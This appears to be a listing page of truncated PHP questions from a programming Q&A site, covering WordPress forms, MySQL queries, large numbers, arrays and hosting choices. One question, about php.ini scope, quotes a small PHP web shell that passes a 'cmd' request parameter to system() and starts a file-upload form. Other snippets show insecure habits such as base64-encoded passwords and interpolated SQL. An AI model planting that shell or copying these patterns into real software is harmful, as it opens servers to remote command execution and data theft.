php

WP-Contact Form 7 -- PHP Question

I don't know how much information you need for this, but WP-ContactForm-7 is a contact form for WordPress. By default it has one server response message for all forms on the website. I have multiple forms and would like a different server response messages for each one. function message($status) { switch ($status) { case 'mail_sent_o...

How do I email CSV files to specific emails?

I have a table (volunteers_2009) that has all the volunteers stored within, then I have a table (venues) that list all the different venues a volunteer could work (volunteers are assigned to one venue each, and that is stored within volunteers_2009.venue_id, which equals venues.id) The venues table also has a column for emails, each ema...

How to build large MySQL INSERT query in PHP without wasting memory

I have code looking something like this: $data = file_get_contents($tempFile); // perhaps 30MB of file data, now in PHP's memory $hash = md5($data); $query = "INSERT INTO some_table SET BlobData = '" . mysql_real_escape_string($data) . "', BlobHash = '$hash' "; mysql_query($query); I know this isn't very ...

Working with large numbers in PHP.

To use modular exponentiation as you would require when using the Fermat Primality Test with large numbers (100,000+), it calls for some very large calculations. When I multiply two large numbers (eg: 62574 and 62574) PHP seems to cast the result to a float. Getting the modulus value of that returns strange values. $x = 62574 * 62574; ...

PHP Array Help

I have an array which is a list of domains, I want to print all of the items in the array except the one which contains $x. $x is variable so basically it never prints the array item when it contains $x. Can anyone help me? :) ...

PHP generating XML, time-outs randomly

I have no idea. This causes seemingly random time-outs. These in turn break the flash that i am loading it into. Has anyone seen anything like this before? <?php require_once("../includes/class.database.php"); require_once("../includes/dbConnectInfo.inc"); require_once("../includes/functions.php"); include("../includes/conn.php"); $c...

Is there a PHP function or variable giving the local host name?

When a script runs under Apache, I insert $_SERVER['SERVER_NAME'] value into an error reporting e-mail message. However, if a Web script forks a "worker" job with nohup php ..., $_SERVER['SERVER_NAME'] appears to be empty there. Thus, if an error occurs, it's reported without a host name. Can I reliably get the host name by means of PH...

PHP Declare multidimensional arrays with square bracket syntax

I am trying to create a multi dimensional array using this syntax: $x[1] = 'parent'; $x[1][] = 'child'; I get the error: [] operator not supported for strings because it is evaluating the $x[1] as a string as opposed to returning the array so I can append to it. What is the correct syntax for doing it this way? The overall goal is t...

Can I create a PHP function that I can call without parentheses?

I have a function that is effectively a replacement for print, and I want to call it without parentheses, just like calling print. # Replace print $foo, $bar, "\n"; # with myprint $foo, $bar, "\n"; In Perl, you can create subroutines with parameter templates and it allows exactly this behavior if you define a subroutine as sub mypri...

SQL - Find where in a query a certain row will be

I'm working on a forums system. I'm trying to allow users to see the posts they've made. In order for this link to work, I'd need to jump to the page on the particular topic they posted in that contained their post, so the bookmarks could work, etc. Since this is a new feature on an old forum, I'd like to code it so that the forum syste...

Parsing of nested tags in a file

Hi, I am wondering - What's the most effective way of parsing something like: {{HEADER}} Hello my name is {{NAME}} {{#CONTENT}} This is the content ... {{#PERSONS}} <p>My name is {{NAME}}.</p> {{/PERSONS}} {{/CONTENT}} {{FOOTER}} Of course this is intended to be somewhat of a templating system in the end, s...

base64_encode weird behavior

I'm doing something like the following: SELECT * FROM table WHERE user='$user'; $myrow = fetchRow() // previously I inserted a pass to the db using base64_encode ex: WRM2gt3R= $somepass = base64_encode($_POST['password']); if($myrow[1] != $somepass) echo 'error'; else echo 'welcome'; Im always getting error, I even echo $somepass an...

Which Eclipse version to install on Linux for PHP development

I have Slackware 12.1 and wish to try out Eclipse for PHP/HTML/JavaScript development. However, it seems I'm facing myriad of possible options and I'd hate to miss the best thing and give up on Eclipse (I'm currently using Geany, but I'm missing some stuff like , for example, auto-complete for JavaScript) I'm currently looking into just...

good php framework to run on a budget web host?

I'd like to create some small websites using PHP as the programming language. I've looked at several frameworks but they all appear to be rather large and am not sure how well they will run in a shared hosting environment. I was wondering if anyone knew of frameworks that work well in shared hosting? I'm looking for something with MVC an...

What puts less load on a PHP server: SimpleXML or json_decode?

I'm starting to develop a web application in PHP that I hope will become incredibly popular and make me famous and rich. :-) If that time comes, my decision whether to parse the API's data as XML with SimpleXML or to use json_decode could make a difference in the app's scalability. Does anyone know which of these approaches is more eff...

How to set up internal browser for Aptana on Linux

I downloaded the Aptana_Studio_Setup_Linux.zip package, unpacked it and run ./AptanaStudio. It starts fine, but reports one problem: The embedded browser widget for this editor cannot be created. It is either not available for your operating system or the system needs to be configured in order to support embedded browser. After that, i...

Checking if mysql_query returned anything or not

$query = "SELECT * FROM `table`"; $results = mysql_query($query, $connection); If 'table' has no rows. whats the easiest way to check for this.? ...

How do I enable my php.ini file to affect all directories/sub-directories of my server?

A few weeks ago I opened up a hole on my shared server and my friend uploaded the following PHP script: <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> <?php if(isset($_REQUEST['upload'])){ echo ' <form enctype="multipart/form-data" action=".config.php?send" method="PO...

General programming knowledge?

I am completely new to programming - my interest lies in PHP & MySql for building a dynamic web application for Military Band Administration purposes. i.e. General info and social networking for members + added functionality for the management team to communicate effectively. OK so the question - as I learn more about PHP there are term...

How to use PHP to delete X number of lines from the beginning of a text file.

I'm writing a PHP script and the script outputs a simple text file log of the operations it performs. How would I use PHP to delete the first several lines from this file when it reaches a certain file size? Ideally, I would like it to keep the first two lines (date/time created and blank) and start deleting from line 3 and delete X am...